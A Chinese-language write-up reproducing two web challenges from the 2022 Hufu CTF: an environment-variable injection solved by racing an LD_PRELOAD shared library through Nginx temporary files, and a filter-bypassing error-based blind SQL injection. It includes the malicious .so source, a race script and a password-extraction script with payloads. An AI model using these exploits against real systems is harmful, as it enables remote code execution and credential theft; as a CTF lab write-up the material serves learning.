CTF | 10分钟
2022虎符CTF WEB赛后复现
三月 24, 2022
线上赛 WEB

1、ezphp

参考Jacko师傅的这篇虎符CTF

写的已经很详细了,先简单梳理一下题目,题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令。简单来说就是不同的系统,他的system命令调用的命令不同。

php中调用system本质上是调用了sh -c,在不同操作系统中:

  • debian:sh→dash
  • centos:sh→bash

总结:

  • BASH_ENV:可以在bash -c的时候注入任意命令
  • ENV:可以在sh -i -c的时候注入任意命令
  • PS1:可以在shbash交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在bash -csh -c的时候执行任意命令

题目就是P师傅没解决的debian系统

而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI

Nginx对于请求的body内容会以临时文件的形式存储起来

大概思路是:

  • 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
  • 传一个填满大量脏数据的so文件
  • 竞争LD_PRELOAD包含 proc 目录下的临时文件

这是生成so的源文件

c
1#include <stdlib.h>
2#include <stdio.h>
3#include <string.h>
4
5__attribute__ ((__constructor__)) void preload (void){
6  unsetenv("LD_PRELOAD");
7  system("id");
8  system("cat /flag > /var/www/html/flag");
9}

注意,在代码里加许多无用代码,我加了两万行的

c
1a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;

如图

使用以下命令编译生成so文件

bash
1gcc -shared -fPIC hook_exp.c -o hook_exp.so

后来生成的恶意so文件有163kb

接下来就是竞争脚本,注意url和恶意so文件的路径。

python
 1import requests
 2import _thread
 3
 4f=open("hook_exp.so",'rb')
 5data=f.read()
 6url="http://localhost:12333/"
 7
 8def upload():
 9    print("start upload")
10    while True:
11        requests.get(url+"index.php",data=data)
12
13def preload(fd):
14    while True:
15        print("start ld_preload")
16        for pid in range(10,20):
17            file = f'/proc/{pid}/fd/{fd}'
18            # print(url+f"index.php?env=LD_PRELOAD={file}")
19            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
20            # print(resp.text)
21            if 'uid' in resp.text:
22                print("finished")
23                exit()
24
25try:
26    _thread.start_new_thread(upload, ())
27    for fd in range(1, 20):
28        _thread.start_new_thread(preload,(fd,))
29except:
30    print("error")
31
32while True:
33    pass

当脚本运行出现finished,直接url访问、flag就会自动下载flag

2、Babysql

这里直接搬运Jacko师傅的,我没搞出来

hint.md

sql
 1```sql
 2CREATE TABLE `auth` (
 3  `id` int NOT NULL AUTO_INCREMENT,
 4  `username` varchar(32) NOT NULL,
 5  `password` varchar(32) NOT NULL,
 6  PRIMARY KEY (`id`),
 7  UNIQUE KEY `auth_username_uindex` (`username`)
 8) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
 9```
10
11```js
12import { Injectable } from '@nestjs/common';
13import { ConnectionProvider } from '../database/connection.provider';
14
15export class User {
16  id: number;
17  username: string;
18}
19
20function safe(str: string): string {
21  const r = str
22    .replace(/[\s,()#;*\-]/g, '')
23    .replace(/^.*(?=union|binary).*$/gi, '')
24    .toString();
25  return r;
26}
27
28@Injectable()
29export class AuthService {
30  constructor(private connectionProvider: ConnectionProvider) {}
31
32  async validateUser(username: string, password: string): Promise<User> | null {
33    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
34    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
35    const user = rows[0];
36    if (user && user.password === password) {
37      // eslint-disable-next-line @typescript-eslint/no-unused-vars
38      const { password, ...result } = user;
39      return result;
40    }
41    return null;
42  }
43}

这道题出得挺好的

首先看代码逻辑,先对输入的username进行查询,如果有,则用输入的password同查询出来的比较

看了这个首先想到的当然是union select,然而这里过滤了,当然这个过滤是绕不了的,双写不行,这里存在就把这个字符串替空,而不只是union

再看看hint中的regexp,在过滤了()的前提下,regexp确实是个好函数

就想着能不能通过regexp把用户名密码匹配出来,想到了盲注

然而,盲注并非易事,这里不管有没有查询出结果,只要没拿到最终的用户名密码之前,都返回null,这就无法进行布尔盲注了

那有没有可能进行时间盲注呢?没有括号,这里调用不了像sleep()之类的函数,哎?再结合regexp,会不会正则匹配进行延时,然而并没有想象这么简单,进过本地一番测试发现,一延时mysql直接报Timeout了 ,没法利用

然而就在没思绪地用regexp测试的时候,发现当regexp传入不合语法匹配规则的时候会报错,报错?这不是可以用报错进行布尔盲注了吗?

这时候刷新一下题目信息,还是零解,赶紧冲!

说干就干,经过几番优化之后,构造出来

sql
1SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;

构造是构造出来了,其中1为布尔点,然而当我换成regexp的时候出问题了

sql
1SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;

我原以为当前面匹配的时候,就不会执行后面错误的正则匹配了,然而我错了,regexp的语法检查是在查询判断之前进行的

后面换了其他一些报错的方法,最后发现通过整型溢出可以成功

sql
1SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;

当匹配的时候为真,溢出报错,不匹配的时候正常不报错

现在问题就变成了怎么去掉括号,加法的优先级高过regexp,并不是随随便便可以去掉的,这里也想了很久,最后用case来解决了这个问题

sql
1SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;

这里有几个点:

  • usernameregexp之间怎么隔开?这里把username用反引号引起来
  • whenthen怎么隔开?这里用了字符的强转型
  • then后的1else怎么隔开?这里加多一个空字符
  • 最后end怎么闭合后面的单引号?这里加多一个**||**

这些可能都是一些看到了payload觉得很简单,然而真正亲手尝试的时候会遇到各种各样的坑

后面就是脚本了,同样也并不顺利,和队友交流了之后还是花了好久,不过最终还是做出来了

  • 特殊字符怎么办?用反引号进行转义
  • 大小写怎么区分?用COLLATE utf8mb4_bin

直接上脚本

python
 1import requests
 2url='http://xxx/login'
 3flag=''
 4for i in range(1,50):
 5    for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
 6        temp=ascii
 7        if(temp in '^!?$'):
 8            temp="\\\\\\"+temp
 9        payload={
10            'password':'xxx',
11            'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
12        }
13        response=requests.post(url=url, data=payload)
14        print(payload)
15        print(response.text)
16        if '500' in response.text:
17            flag+=temp
18            print(flag)
19            break
20        print(ascii)

跑出用户名密码直接登陆就可以了

3、Baby Router Updater和4、ezchain,一个杂揉了web、crypto、misc、reverse,一个Java,我不会